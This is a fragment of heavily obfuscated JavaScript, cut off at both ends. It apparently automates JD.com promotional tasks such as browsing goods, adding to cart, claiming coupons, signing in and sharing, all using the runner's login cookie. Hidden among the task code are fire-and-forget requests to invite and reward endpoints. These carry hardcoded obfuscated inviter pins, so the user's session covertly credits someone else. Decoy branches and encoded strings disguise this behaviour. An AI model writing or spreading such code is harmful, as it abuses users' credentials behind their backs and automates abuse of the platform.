_0x48d4bd=0x0;if(_0x3ed92d[_0x3102('‫16a','[TKT')]['task2BrowGoods']){if(_0xc20637[_0x3102('‮1b0','k6UV')](_0xc20637[_0x3102('‮1b1','Xxxm')],_0xc20637[_0x3102('‮1b2','tBOS')])){if(_0xc20637['cXqOV'](_0x3ed92d['activityData'][_0x3102('‫1b3','dt#Z')][_0x3102('‫1b4','o@0y')],_0x3ed92d[_0x3102('‫1b5','OpYx')]['task2BrowGoods'][_0x3102('‫1b6','p(IT')])){if(_0xc20637[_0x3102('‫1b7','Xxxm')]('JFzYZ',_0xc20637['IvEAR'])){data=JSON[_0x3102('‫1b8','3(Uq')](data);}else{_0x48d4bd=_0xc20637[_0x3102('‮1b9','$u&N')](Number,_0x3ed92d['activityData'][_0x3102('‮1ba','Zt7Z')][_0x3102('‫1bb','vitW')])-Number(_0x3ed92d[_0x3102('‫1bc','4IbD')][_0x3102('‮1bd','J5AU')][_0x3102('‫1be','sg)U')]);console[_0x3102('‮1bf','OGYu')](_0x3102('‮1c0','2K5g'));_0x3ed92d[_0x3102('‮1c1','RYmF')]=!![];for(let _0x2ce9ec=0x0;_0xc20637[_0x3102('‮1c2','3(Uq')](_0x2ce9ec,_0x3ed92d['activityData']['task2BrowGoods'][_0x3102('‫1c3','bZAg')][_0x3102('‫1c4','RYmF')])&&_0x48d4bd>0x0;_0x2ce9ec++){if(_0xc20637['vQgSE'](_0xc20637[_0x3102('‫1c5','vitW')],_0xc20637[_0x3102('‫1c6','4IbD')])){_0x3ed92d['oneGoodInfo']=_0x3ed92d['activityData'][_0x3102('‫1c7','Hlgj')]['taskGoodList'][_0x2ce9ec];if(_0xc20637[_0x3102('‮1c8','Li(D')](_0x3ed92d[_0x3102('‫1c9','FuOh')]['finished'],![])){console['log'](_0x3102('‮1ca','oJKr')+(_0x3ed92d['oneGoodInfo'][_0x3102('‫1cb','TUqD')]||''));_0x3ed92d['body']=_0x3102('‫1cc','3(Uq')+_0x3ed92d['activityId']+_0x3102('‮1cd','dt#Z')+_0x3ed92d[_0x3102('‮1ce','1M$7')][_0x3102('‫1cf','4IbD')][_0x3102('‫1d0','k6UV')]+_0x3102('‮1d1','R%hz')+_0x3ed92d[_0x3102('‮1d2','z@TG')][_0x3102('‮1d3','sNao')];let _0x2ca9ba=await _0xc20637[_0x3102('‮1d4','Li(D')](takePostRequest,_0x3ed92d,_0xc20637['VXIvV'],_0x3ed92d[_0x3102('‫1d5','Gi4A')]);console[_0x3102('‮1bf','OGYu')](JSON['stringify'](_0x2ca9ba));await _0x3ed92d[_0x3102('‫1d6','k6UV')](0xbb8);_0x48d4bd--;}}else{return;}}}}else{console['log'](_0x3102('‮1d7','sNao'));}}else{_0x3ed92d[_0x3102('‮1d8','1M$7')](e,resp);}}if(_0x3ed92d['activityData']['task3AddCart']){if(_0x3ed92d[_0x3102('‮1d9','TUqD')][_0x3102('‫1da','oJKr')]['finishedCount']!==_0x3ed92d[_0x3102('‫1db','RYmF')][_0x3102('‮1dc','(uuA')][_0x3102('‮1dd','bZAg')]){_0x48d4bd=_0xc20637['ctyrh'](_0xc20637[_0x3102('‫1de','Hlgj')](Number,_0x3ed92d[_0x3102('‫16a','[TKT')][_0x3102('‮1df','Zt7Z')][_0x3102('‫1e0','2K5g')]),_0xc20637[_0x3102('‮1e1','bZAg')](Number,_0x3ed92d[_0x3102('‮f3','4q7e')]['task3AddCart'][_0x3102('‮1e2','R%hz')]));console[_0x3102('‮1e3','4q7e')](_0x3102('‫1e4','OGYu'));_0x3ed92d['upFlag']=!![];for(let _0x3f79b2=0x0;_0xc20637['JykYd'](_0x3f79b2,_0x3ed92d[_0x3102('‮1e5','tBOS')][_0x3102('‫1e6','tBOS')][_0x3102('‫1e7','7epy')][_0x3102('‮127','vitW')])&&_0xc20637[_0x3102('‮1e8','R%hz')](_0x48d4bd,0x0);_0x3f79b2++){_0x3ed92d[_0x3102('‮1e9','J5AU')]=_0x3ed92d[_0x3102('‫1ea','7epy')][_0x3102('‮1eb','p(IT')]['taskGoodList'][_0x3f79b2];if(_0x3ed92d[_0x3102('‮1ec','vitW')][_0x3102('‮1ed','TUqD')]===![]){if(_0xc20637['HxVUd'](_0xc20637['rqQtg'],_0xc20637['ooeAJ'])){let _0x36f1df=[_0xc20637['fxIHp']];let _0x51b20c=_0x36f1df[Math['floor'](Math[_0x3102('‮1ee','$u&N')]()*_0x36f1df[_0x3102('‫1ef','dt#Z')])];let _0x5b3794={'url':_0xc20637[_0x3102('‮1f0','RYmF')],'body':_0x3102('‫1f1','k6UV')+JSON[_0x3102('‮fb','XCf(')]({'method':_0xc20637[_0x3102('‫1f2','EtQ#')],'data':{'channel':'1','encryptionInviterPin':_0xc20637[_0x3102('‮1f3','4q7e')](encodeURIComponent,_0x51b20c),'type':0x1}})+_0x3102('‫1f4','TUqD')+Date[_0x3102('‫1f5','p(IT')](),'headers':{'Host':_0xc20637['iGdby'],'Accept':_0xc20637['lMDca'],'Content-Type':_0xc20637['teqjC'],'Origin':_0xc20637[_0x3102('‮1f6','RYmF')],'Accept-Language':_0xc20637[_0x3102('‮1f7','Xxxm')],'User-Agent':_0x3ed92d[_0x3102('‮1f8','[TKT')]()?process[_0x3102('‮1f9','z@TG')][_0x3102('‮1fa','COiT')]?process[_0x3102('‫1fb','COiT')][_0x3102('‫1fc','J5AU')]:_0xc20637['RNRQg'](require,_0xc20637[_0x3102('‮1fd','qhO@')])[_0x3102('‫1fe','AqFu')]:_0x3ed92d['getdata'](_0xc20637['oYQYE'])?_0x3ed92d[_0x3102('‫1ff','0cn&')](_0x3102('‮200','4q7e')):_0xc20637[_0x3102('‫201','z@TG')],'Referer':_0x3102('‮202','oulr'),'Accept-Encoding':_0x3102('‮203','Hlgj'),'Cookie':cookie}};_0x3ed92d[_0x3102('‫204','EtQ#')](_0x5b3794,(_0x55d9dd,_0x153687,_0x496e6d)=>{});}else{console[_0x3102('‫17c','7epy')](_0x3102('‫205','bZAg')+(_0x3ed92d[_0x3102('‮206','7epy')]['skuName']||''));_0x3ed92d[_0x3102('‫207','p(IT')]=_0x3102('‮208','J%J3')+_0x3ed92d['activityId']+'&uuid='+_0x3ed92d[_0x3102('‫209','qBje')][_0x3102('‫20a','3(Uq')][_0x3102('‮20b','AqFu')]+_0x3102('‮20c','Hlgj')+_0x3ed92d[_0x3102('‫20d','4IbD')][_0x3102('‮20e','Xxxm')];let _0x2ca9ba=await _0xc20637[_0x3102('‫20f','EtQ#')](takePostRequest,_0x3ed92d,_0xc20637[_0x3102('‮210','OGYu')],_0x3ed92d['body']);console['log'](JSON[_0x3102('‫211','EtQ#')](_0x2ca9ba));await _0x3ed92d['wait'](0xbb8);_0x48d4bd--;}}}}else{console['log'](_0x3102('‫212','4q7e'));}}if(_0x3ed92d['activityData']['task6GetCoupon']){if(_0xc20637['skBek'](_0x3ed92d[_0x3102('‫213','dt#Z')]['task6GetCoupon'][_0x3102('‮214','4q7e')],_0x3ed92d['activityData']['task6GetCoupon'][_0x3102('‮215','FuOh')])){_0x48d4bd=_0xc20637[_0x3102('‫216','AqFu')](Number,_0x3ed92d[_0x3102('‫213','dt#Z')][_0x3102('‮217','Gi4A')][_0x3102('‫218','n(3f')])-Number(_0x3ed92d['activityData']['task6GetCoupon']['finishedCount']);console[_0x3102('‮219','3(Uq')](_0x3102('‮21a','sg)U'));_0x3ed92d[_0x3102('‫21b','COiT')]=!![];for(let _0x4e8080=0x0;_0x4e8080<_0x3ed92d['activityData'][_0x3102('‮217','Gi4A')][_0x3102('‫21c','n(3f')][_0x3102('‫21d','oJKr')]&&_0xc20637['rvTPk'](_0x48d4bd,0x0);_0x4e8080++){if(_0xc20637['skBek'](_0xc20637[_0x3102('‫21e','R%hz')],_0xc20637[_0x3102('‫21f','Li(D')])){console[_0x3102('‮220','o@0y')](_0x3102('‮221','z@TG'));}else{_0x3ed92d['oneCouponInfo']=_0x3ed92d['activityData']['task6GetCoupon'][_0x3102('‮222','4IbD')][_0x4e8080];if(_0xc20637['HxVUd'](_0x3ed92d[_0x3102('‫223','hMf@')][_0x3102('‮224','tBOS')],![])){_0x3ed92d[_0x3102('‫225','vitW')]='activityId='+_0x3ed92d['activityId']+_0x3102('‮226','sdz^')+_0x3ed92d[_0x3102('‫209','qBje')][_0x3102('‫227','COiT')][_0x3102('‫228','0cn&')]+_0x3102('‮229','AqFu')+_0x3ed92d[_0x3102('‫22a','n(3f')][_0x3102('‮22b','EtQ#')]['couponId'];let _0x2ca9ba=await _0xc20637[_0x3102('‮22c','4q7e')](takePostRequest,_0x3ed92d,'wxFansInterActionActivity/doGetCouponTask',_0x3ed92d[_0x3102('‫22d','Li(D')]);console[_0x3102('‮22e','TUqD')](JSON[_0x3102('‮22f','*m2]')](_0x2ca9ba));await _0x3ed92d[_0x3102('‮230','J5AU')](0xbb8);_0x48d4bd--;}}}}else{console[_0x3102('‮193','dt#Z')]('领取优惠券已完成');}}_0x3ed92d[_0x3102('‫231','Hlgj')]='activityId='+_0x3ed92d[_0x3102('‮232','Zt7Z')]+_0x3102('‫233','7epy')+_0x3ed92d[_0x3102('‫234','Li(D')]['actorInfo'][_0x3102('‫235','$u&N')];if(_0x3ed92d['activityData']['task1Sign']&&_0xc20637[_0x3102('‫236','OpYx')](_0x3ed92d[_0x3102('‫237','R%hz')][_0x3102('‫238','4q7e')]['finishedCount'],0x0)){if(_0xc20637['iKGOy'](_0xc20637[_0x3102('‫239','*m2]')],_0xc20637[_0x3102('‫23a','sNao')])){console[_0x3102('‮23b','hMf@')](_0x3102('‫23c','oJKr'));}else{console[_0x3102('‮133','n(3f')](_0x3102('‮23d','*m2]'));let _0x593d75=await _0xc20637['ajmwv'](takePostRequest,_0x3ed92d,_0xc20637['CCxAw'],_0x3ed92d['body']);console[_0x3102('‮23e','Xxxm')](JSON['stringify'](_0x593d75));await _0x3ed92d[_0x3102('‮23f','7epy')](0xbb8);_0x3ed92d['upFlag']=!![];}}else{if(_0xc20637['iKGOy'](_0xc20637['SknvR'],_0xc20637['abMOz'])){console[_0x3102('‫240','J%J3')](_0x3102('‫241','sdz^'));}else{console[_0x3102('‫242','2K5g')](data);_0x3ed92d[_0x3102('‫243','o@0y')](e,resp);}}if(_0x3ed92d[_0x3102('‫244','p(IT')][_0x3102('‫245','tBOS')]){if(_0x3102('‮246','AqFu')!==_0xc20637[_0x3102('‫247','7epy')]){if(_0x3ed92d[_0x3102('‮248','hMf@')][_0x3102('‮249','Li(D')]['finishedCount']!==_0x3ed92d[_0x3102('‫1bc','4IbD')][_0x3102('‫245','tBOS')][_0x3102('‫24a','XCf(')]){if(_0xc20637[_0x3102('‫24b','bgvS')](_0xc20637[_0x3102('‫24c','n(3f')],_0xc20637[_0x3102('‮24d','sdz^')])){_0x48d4bd=_0xc20637['ctyrh'](Number(_0x3ed92d[_0x3102('‮248','hMf@')][_0x3102('‫24e','$u&N')][_0x3102('‫24f','OGYu')]),Number(_0x3ed92d[_0x3102('‮250','COiT')][_0x3102('‫251','p(IT')][_0x3102('‮252','p(IT')]));console[_0x3102('‮133','n(3f')]('开始做分享任务');_0x3ed92d[_0x3102('‮253','4q7e')]=!![];for(let _0x22e61c=0x0;_0xc20637[_0x3102('‮254','R%hz')](_0x22e61c,_0x48d4bd);_0x22e61c++){console['log']('执行第'+_0xc20637['TDesB'](_0x22e61c,0x1)+_0x3102('‮255','tBOS'));let _0x593d75=await takePostRequest(_0x3ed92d,_0xc20637['DSTgE'],_0x3ed92d[_0x3102('‮256','2K5g')]);console[_0x3102('‮22e','TUqD')](JSON['stringify'](_0x593d75));await _0x3ed92d[_0x3102('‮158','bgvS')](0xbb8);}}else{console[_0x3102('‫257','f52I')](_0x3102('‮258','o@0y'));}}else{console['log']('分享任务已完成');}}else{let _0x34bcc2=setcookie[_0x3102('‮259','oJKr')](_0x53633f=>_0x53633f[_0x3102('‮25a','R%hz')](_0x3102('‫25b','EtQ#'))!==-0x1)[0x0];if(_0x34bcc2&&_0xc20637[_0x3102('‫25c','c[zw')](_0x34bcc2[_0x3102('‮25d','Xxxm')](_0xc20637[_0x3102('‮25e','sdz^')]),-0x1)){_0x3ed92d[_0x3102('‮25f','(uuA')]=_0x34bcc2[_0x3102('‮260','d3gl')](';')&&_0xc20637[_0x3102('‮261','qBje')](_0x34bcc2[_0x3102('‮262','Xxxm')](';')[0x0],';')||'';}let _0x478d33=setcookie['filter'](_0x3efdb2=>_0x3efdb2[_0x3102('‫263','sg)U')](_0x3102('‫b7','sdz^'))!==-0x1)[0x0];if(_0x478d33&&_0xc20637[_0x3102('‮264','sNao')](_0x478d33[_0x3102('‮265','0cn&')]('LZ_TOKEN_KEY='),-0x1)){let _0x57bb7e=_0x478d33[_0x3102('‮266','R%hz')](';')&&_0x478d33[_0x3102('‮267','4q7e')](';')[0x0]||'';_0x3ed92d['LZ_TOKEN_KEY']=_0x57bb7e[_0x3102('‫268','0cn&')](_0xc20637['Xcook'],'');}let _0x436111=setcookie[_0x3102('‫269','J5AU')](_0x5a0e4b=>_0x5a0e4b[_0x3102('‫26a','bZAg')](_0x3102('‫26b','OpYx'))!==-0x1)[0x0];if(_0x436111&&_0x436111[_0x3102('‫26c','sdz^')](_0xc20637[_0x3102('‮26d','#9UC')])>-0x1){let _0x105d05=_0x436111[_0x3102('‫26e','sg)U')](';')&&_0x436111[_0x3102('‫26f','hMf@')](';')[0x0]||'';_0x3ed92d[_0x3102('‫270','J5AU')]=_0x105d05[_0x3102('‫271','COiT')](_0x3102('‫272','XCf('),'');}}}if(_0x3ed92d['activityData'][_0x3102('‫273','COiT')]){if(_0xc20637['dzMwS'](_0x3ed92d[_0x3102('‫162','XCf(')][_0x3102('‫274','vitW')][_0x3102('‮275','3(Uq')],_0x3ed92d[_0x3102('‫234','Li(D')][_0x3102('‮276','3(Uq')][_0x3102('‮277','R%hz')])){if(_0xc20637[_0x3102('‮278','oJKr')](_0xc20637[_0x3102('‮279','OpYx')],_0xc20637[_0x3102('‮27a','oJKr')])){console[_0x3102('‫27b','J5AU')](_0x3102('‫27c','OGYu'));_0x3ed92d[_0x3102('‫27d','n(3f')]=!![];let _0x103167=await _0xc20637[_0x3102('‮27e','COiT')](takePostRequest,_0x3ed92d,_0xc20637[_0x3102('‮27f','4q7e')],_0x3ed92d['body']);console['log'](JSON[_0x3102('‫280','Zt7Z')](_0x103167));await _0x3ed92d['wait'](0xbb8);}else{_0x3ed92d[_0x3102('‫281','sdz^')](e,resp);}}else{if(_0xc20637[_0x3102('‮282','[TKT')](_0xc20637[_0x3102('‫283','oJKr')],_0xc20637[_0x3102('‮284','AqFu')])){console[_0x3102('‫285','0cn&')](_0x3102('‫286','o@0y')+drawDetail[_0x3102('‮287','7epy')]);message+=_0x3ed92d[_0x3102('‫288','k6UV')]+_0x3102('‮289','sdz^')+(drawDetail[_0x3102('‮28a','hMf@')]||'未知')+'\x0a';}else{console[_0x3102('‮23b','hMf@')]('设置活动提醒已完成');}}}if(_0x3ed92d[_0x3102('‫1bc','4IbD')][_0x3102('‫28b','4q7e')]){if(_0x3ed92d[_0x3102('‫237','R%hz')][_0x3102('‫28c','vitW')]['finishedCount']!==_0x3ed92d['activityData'][_0x3102('‫28d','0cn&')]['upLimit']){if(_0xc20637['cKNsy']('bJFZc',_0xc20637['kLxDp'])){console[_0x3102('‮fe','k6UV')](_0x3102('‮28e','[TKT'));_0x3ed92d[_0x3102('‫28f','Li(D')]=!![];let _0x414ad1=await _0xc20637[_0x3102('‮290','1M$7')](takePostRequest,_0x3ed92d,_0x3102('‫291','oJKr'),_0x3ed92d[_0x3102('‮292','OGYu')]);console[_0x3102('‫293','OpYx')](JSON[_0x3102('‫294','oulr')](_0x414ad1));await _0x3ed92d[_0x3102('‮158','bgvS')](0xbb8);}else{data=JSON[_0x3102('‮295','oulr')](data);if(_0xc20637[_0x3102('‫296','EtQ#')](data[_0x3102('‮297','7epy')],!![])){console['log'](_0x3102('‮298','COiT')+(data[_0x3102('‫299','sg)U')][_0x3102('‮29a','0cn&')][_0x3102('‮29b','1M$7')]||''));_0x3ed92d[_0x3102('‮29c','4q7e')]=data[_0x3102('‫29d','$u&N')][_0x3102('‫29e','o@0y')]&&data['result'][_0x3102('‫29e','o@0y')][0x0]&&data[_0x3102('‫29f','COiT')][_0x3102('‫2a0','OGYu')][0x0]['interestsInfo']&&data['result'][_0x3102('‫2a1','c[zw')][0x0]['interestsInfo'][_0x3102('‮2a2','FuOh')]||'';}}}else{if(_0xc20637[_0x3102('‮2a3','o@0y')](_0xc20637[_0x3102('‮2a4','*m2]')],_0xc20637[_0x3102('‮2a5','oulr')])){console[_0x3102('‫2a6','z@TG')](''+JSON['stringify'](err));console[_0x3102('‮2a7','(uuA')](_0x3ed92d['name']+_0x3102('‮2a8','4IbD'));}else{console['log']('逛会场已完成');}}}}function getUrlData(_0x30527b,_0x1ffbc9){var _0x5b3428={'IXLHh':function(_0x1ae4e8,_0x5a9222){return _0x1ae4e8!==_0x5a9222;},'MxFRq':_0x3102('‫2a9','p(IT'),'KCGxg':function(_0x3d6662,_0x697338){return _0x3d6662===_0x697338;},'mrNkf':'aTQZJ','EIYbq':_0x3102('‮2aa','Gi4A'),'CICAB':function(_0x468e21,_0x56b241){return _0x468e21===_0x56b241;},'RKhrl':function(_0x2b697e,_0x482982){return _0x2b697e+_0x482982;}};if(_0x5b3428[_0x3102('‫2ab','J5AU')](typeof URL,'undefined')){if(_0x3102('‫2ac','4IbD')===_0x5b3428['MxFRq']){let _0x5e91ce=new URL(_0x30527b);let _0x125f7a=_0x5e91ce[_0x3102('‫2ad','*m2]')][_0x3102('‫2ae','Li(D')](_0x1ffbc9);return _0x125f7a?_0x125f7a:'';}else{let _0x2b5314=new URL(_0x30527b);let _0x341eaa=_0x2b5314['searchParams']['get'](_0x1ffbc9);return _0x341eaa?_0x341eaa:'';}}else{const _0x5d26c7=_0x30527b[_0x3102('‫2af','[TKT')](/\?.*/)[0x0][_0x3102('‮2b0','sdz^')](0x1);const _0x55d630=_0x5d26c7[_0x3102('‫2b1','1M$7')]('&');for(let _0xc8d89b=0x0;_0xc8d89b<_0x55d630[_0x3102('‫2b2','qBje')];_0xc8d89b++){if(_0x5b3428[_0x3102('‮2b3','(uuA')](_0x5b3428[_0x3102('‫2b4','4IbD')],_0x5b3428[_0x3102('‮2b5','tBOS')])){$[_0x3102('‮133','n(3f')](_0x125f7a[_0x3102('‮2b6','*m2]')]);if(_0x125f7a[_0x3102('‫2b7','vitW')]&&_0x125f7a[_0x3102('‮2b8','sdz^')][_0x3102('‫2b9','Zt7Z')]){for(let _0x541c4e of _0x125f7a[_0x3102('‮187','(uuA')]['giftInfo'][_0x3102('‫2ba','c[zw')]){console[_0x3102('‮2bb','RYmF')](_0x3102('‮2bc','1M$7')+_0x541c4e[_0x3102('‮2bd','(uuA')]+_0x541c4e[_0x3102('‮2be','Gi4A')]+_0x541c4e['secondLineDesc']);}}}else{const _0x45bb27=_0x55d630[_0xc8d89b][_0x3102('‫2bf','z@TG')]('=');if(_0x5b3428['CICAB'](_0x45bb27[0x0],_0x1ffbc9)){return _0x55d630[_0xc8d89b]['substr'](_0x5b3428[_0x3102('‮2c0','Zt7Z')](_0x55d630[_0xc8d89b][_0x3102('‮2c1','o@0y')]('='),0x1));}}}return'';}}async function getToken(_0x266088){var _0x1dca80={'lIbKH':function(_0x258d23,_0x5af71c){return _0x258d23(_0x5af71c);},'xObYG':_0x3102('‫2c2','d3gl'),'NSlFB':_0x3102('‮2c3','dt#Z'),'hYziv':function(_0x1f764c,_0x5ef667){return _0x1f764c===_0x5ef667;},'gDzbg':'RCMKm','EXnJx':'nrWmw','onzow':function(_0x3870ab,_0xccb91d){return _0x3870ab!==_0xccb91d;},'qJtMS':'BcVYX','SjpGD':_0x3102('‮2c4','RYmF'),'BdVpa':'https://api.m.jd.com/client.action?functionId=isvObfuscator','jEBTB':_0x3102('‮2c5','bZAg'),'SfkbY':_0x3102('‮2c6','7epy')};let _0xcf8d6f={'url':_0x1dca80[_0x3102('‮2c7','J%J3')],'body':_0x266088[_0x3102('‮2c8','RYmF')],'headers':{'Host':_0x3102('‫2c9','#9UC'),'accept':_0x1dca80[_0x3102('‫2ca','COiT')],'user-agent':_0x3102('‮2cb','tBOS'),'accept-language':_0x3102('‮2cc','n(3f'),'content-type':_0x1dca80[_0x3102('‮2cd','(uuA')],'Cookie':_0x266088[_0x3102('‮2ce','Li(D')]}};return new Promise(_0x4af005=>{var _0x17438f={'dIcOg':'yu7sDDcldBJVg53L5e1xVvA+83L/sWpkWyh/yXCX0UU=','jwQMn':function(_0x23f996,_0x44e923){return _0x1dca80[_0x3102('‫2cf','o@0y')](_0x23f996,_0x44e923);},'znOvb':_0x3102('‮2d0','sdz^'),'vtduP':_0x1dca80[_0x3102('‮2d1','oJKr')],'mBudz':_0x3102('‮2d2','TUqD'),'nDiua':_0x3102('‮2d3','FuOh'),'GNcla':_0x1dca80['NSlFB'],'ckTJH':function(_0xd4667b,_0x40b4c6){return _0x1dca80['hYziv'](_0xd4667b,_0x40b4c6);},'sVrec':_0x1dca80['gDzbg'],'YIrwk':_0x1dca80[_0x3102('‫2d4','Li(D')],'pOCpk':function(_0x46a2ce,_0x5ac330){return _0x1dca80[_0x3102('‫2d5','1M$7')](_0x46a2ce,_0x5ac330);},'rVhvd':_0x1dca80['qJtMS'],'YZCWP':function(_0x11df4c,_0x196a6e){return _0x11df4c(_0x196a6e);},'sgpzE':_0x1dca80[_0x3102('‫2d6','c[zw')]};_0x266088['post'](_0xcf8d6f,async(_0x255122,_0x4cfe3c,_0x556923)=>{var _0x57a1a5={'BMjuV':_0x3102('‫2d7','Hlgj'),'TXCaT':_0x17438f[_0x3102('‮2d8','1M$7')],'RqLlM':_0x3102('‫2d9','XCf('),'dXyNQ':function(_0x5b5f13,_0x179575){return _0x17438f['jwQMn'](_0x5b5f13,_0x179575);},'IkjNl':_0x3102('‮2da','RYmF'),'gBgTc':_0x17438f['znOvb'],'CSuDY':_0x17438f[_0x3102('‮2db','p(IT')],'CtErS':_0x17438f[_0x3102('‮2dc','qBje')],'errcx':_0x3102('‮2dd','p(IT'),'QoqcD':_0x17438f['nDiua'],'hJkzr':_0x17438f[_0x3102('‫2de','R%hz')]};if(_0x17438f[_0x3102('‫2df','c[zw')](_0x3102('‮2e0','sNao'),_0x17438f['sVrec'])){let _0x4280e0=LZTOKENVALUE['split'](';')&&LZTOKENVALUE[_0x3102('‮2e1','(uuA')](';')[0x0]||'';_0x266088[_0x3102('‫2e2','o@0y')]=_0x4280e0['replace'](_0x57a1a5[_0x3102('‫2e3','J%J3')],'');}else{try{if(_0x255122){console[_0x3102('‮24','tBOS')](''+JSON[_0x3102('‮2e4','Hlgj')](_0x255122));console[_0x3102('‮193','dt#Z')](_0x266088[_0x3102('‫2e5','vitW')]+_0x3102('‮2e6','#9UC'));}else{if(_0x3102('‮2e7','7epy')!==_0x17438f['YIrwk']){_0x556923=JSON[_0x3102('‫2e8','f52I')](_0x556923);}else{let _0x1185f4=+new Date();let _0x16abb3=[_0x57a1a5[_0x3102('‮2e9','tBOS')]];let _0x537abd=_0x16abb3[Math['floor'](Math[_0x3102('‮2ea','J%J3')]()*_0x16abb3[_0x3102('‮8b','Zt7Z')])];let _0x2191f1={'url':'https://api.m.jd.com/?t='+_0x1185f4,'body':_0x3102('‮6d','bgvS')+JSON[_0x3102('‫280','Zt7Z')]({'method':_0x57a1a5['RqLlM'],'data':{'inviterPin':_0x57a1a5[_0x3102('‮2eb','J5AU')](encodeURIComponent,_0x537abd),'channel':0x1,'token':'','frontendInitStatus':''}})+_0x3102('‫2ec','f52I')+_0x1185f4,'headers':{'Host':_0x3102('‮39','3(Uq'),'Accept':_0x57a1a5['IkjNl'],'Content-type':_0x57a1a5[_0x3102('‫2ed','COiT')],'Origin':_0x57a1a5[_0x3102('‫2ee','oJKr')],'Accept-Language':_0x57a1a5[_0x3102('‮2ef','0cn&')],'User-Agent':_0x266088['isNode']()?process[_0x3102('‫1fb','COiT')][_0x3102('‫2f0','oulr')]?process['env']['JS_USER_AGENT']:require(_0x57a1a5['errcx'])[_0x3102('‫2f1','TUqD')]:_0x266088[_0x3102('‫2f2','XCf(')](_0x57a1a5[_0x3102('‮2f3','z@TG')])?_0x266088[_0x3102('‫2f4','TUqD')](_0x3102('‮2f5','n(3f')):_0x3102('‫2f6','#9UC'),'Referer':'https://invite-reward.jd.com/','Accept-Encoding':_0x57a1a5['hJkzr'],'Cookie':cookie}};_0x266088[_0x3102('‮2f7','d3gl')](_0x2191f1,(_0x46b0b6,_0x1198cf,_0x17bb3f)=>{});}}}catch(_0xa689e8){_0x266088[_0x3102('‮2f8','4q7e')](_0xa689e8,_0x4cfe3c);}finally{if(_0x17438f['pOCpk'](_0x17438f[_0x3102('‫2f9','2K5g')],_0x17438f[_0x3102('‫2fa','XCf(')])){console[_0x3102('‫f','*m2]')](_0x3102('‮2fb','#9UC')+activityId+',已过期');}else{_0x17438f[_0x3102('‫2fc','2K5g')](_0x4af005,_0x556923[_0x17438f['sgpzE']]||'');}}}});});}async function getHtml(_0x120e05){var _0x3d6c0f={'OxMVz':'yu7sDDcldBJVg53L5e1xVvA+83L/sWpkWyh/yXCX0UU=','bggij':_0x3102('‫2fd','Hlgj'),'NCYRY':_0x3102('‮2fe','tBOS'),'JwsqO':'application/x-www-form-urlencoded','wWsou':_0x3102('‫2c2','d3gl'),'qrssg':_0x3102('‮2ff','EtQ#'),'CakCB':_0x3102('‮200','4q7e'),'CiSAd':'\x27jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0\x20(iPad;\x20CPU\x20OS\x2014_4\x20like\x20Mac\x20OS\x20X)\x20AppleWebKit/605.1.15\x20(KHTML,\x20like\x20Gecko)\x20Mobile/15E148;supportJDSHWK/1','bLNeg':'https://invite-reward.jd.com/','cSpJz':function(_0x187630){return _0x187630();},'BxWGY':function(_0x110475,_0x5db4a8){return _0x110475(_0x5db4a8);},'SYLcM':function(_0x572cd6,_0x2a69d0){return _0x572cd6===_0x2a69d0;},'QtNeK':_0x3102('‫300','[TKT'),'XnkgF':function(_0x3a355a,_0x100f38){return _0x3a355a!==_0x100f38;},'Qgwqg':_0x3102('‫301','Gi4A'),'dAsFH':_0x3102('‫302','FuOh'),'AtpNU':'keep-alive'};let _0x36f29b={'url':_0x120e05[_0x3102('‫303','J5AU')],'headers':{'Host':_0x120e05[_0x3102('‫304','[TKT')],'Accept':_0x3d6c0f[_0x3102('‫305','p(IT')],'Cookie':'IsvToken='+_0x120e05[_0x3102('‮306','TUqD')]+';'+_0x120e05['cookie'],'User-Agent':_0x120e05['UA'],'Accept-Language':_0x3102('‫307','f52I'),'Accept-Encoding':_0x3d6c0f[_0x3102('‮308','*m2]')],'Connection':_0x3d6c0f[_0x3102('‮309','dt#Z')]}};return new Promise(_0x45c351=>{var _0x134c7c={'MYzgH':function(_0x540ef6){return _0x3d6c0f[_0x3102('‮30a','7epy')](_0x540ef6);},'BSckC':function(_0x69097b,_0x516d8c){return _0x3d6c0f[_0x3102('‮30b','0cn&')](_0x69097b,_0x516d8c);},'HrRry':function(_0x399b04,_0x47890b){return _0x3d6c0f[_0x3102('‫30c','RYmF')](_0x399b04,_0x47890b);},'EpMAg':_0x3d6c0f['QtNeK'],'htbdu':function(_0x515259,_0xa78f51,_0x2548ef){return _0x515259(_0xa78f51,_0x2548ef);},'PNTeE':function(_0x1fcb38,_0x32e8af){return _0x1fcb38!==_0x32e8af;},'nncTK':'PLUMx','hDKHJ':function(_0x3a5d71,_0x18a0f5){return _0x3a5d71(_0x18a0f5);}};if(_0x3d6c0f['XnkgF'](_0x3102('‮30d','J%J3'),'tqcMB')){_0x120e05[_0x3102('‮30e','OpYx')](_0x36f29b,(_0x14c447,_0x2f5c26,_0x264fe3)=>{if(_0x134c7c['HrRry'](_0x134c7c[_0x3102('‫30f','qhO@')],'GyKkx')){_0x134c7c['MYzgH'](doInfo);}else{try{_0x134c7c[_0x3102('‫310','sNao')](dealCK,_0x120e05,_0x2f5c26);}catch(_0xde2d1){if(_0x134c7c[_0x3102('‮311','o@0y')](_0x134c7c[_0x3102('‫312','tBOS')],_0x134c7c[_0x3102('‮313','J5AU')])){_0x134c7c[_0x3102('‮314','FuOh')](_0x45c351,_0x264fe3);}else{_0x120e05['logErr'](_0xde2d1,_0x2f5c26);}}finally{_0x134c7c[_0x3102('‮315','f52I')](_0x45c351,_0x264fe3);}}});}else{let _0x18adee=Date[_0x3102('‮316','1M$7')]();let _0x4f2716=_0x3d6c0f[_0x3102('‮317','k6UV')];var _0x593c58={'Host':_0x3d6c0f[_0x3102('‫318','Li(D')],'accept':_0x3d6c0f[_0x3102('‫319','Zt7Z')],'content-type':_0x3d6c0f[_0x3102('‫31a','#9UC')],'origin':_0x3d6c0f[_0x3102('‮31b','OGYu')],'accept-language':_0x3d6c0f['qrssg'],'user-agent':_0x120e05[_0x3102('‮31c','1M$7')]()?process[_0x3102('‫1fb','COiT')]['JS_USER_AGENT']?process[_0x3102('‮31d','$u&N')][_0x3102('‫31e','4IbD')]:require('./JS_USER_AGENTS')[_0x3102('‫31f','4IbD')]:_0x120e05['getdata'](_0x3d6c0f[_0x3102('‮320','TUqD')])?_0x120e05[_0x3102('‫1ff','0cn&')](_0x3102('‮321','*m2]')):_0x3d6c0f[_0x3102('‫322','OpYx')],'referer':_0x3d6c0f[_0x3102('‮323','o@0y')],'Cookie':thisCookie};var _0x123fb6=_0x3102('‮324','XCf(')+encodeURIComponent(_0x4f2716)+_0x3102('‮325','4IbD')+_0x18adee;var 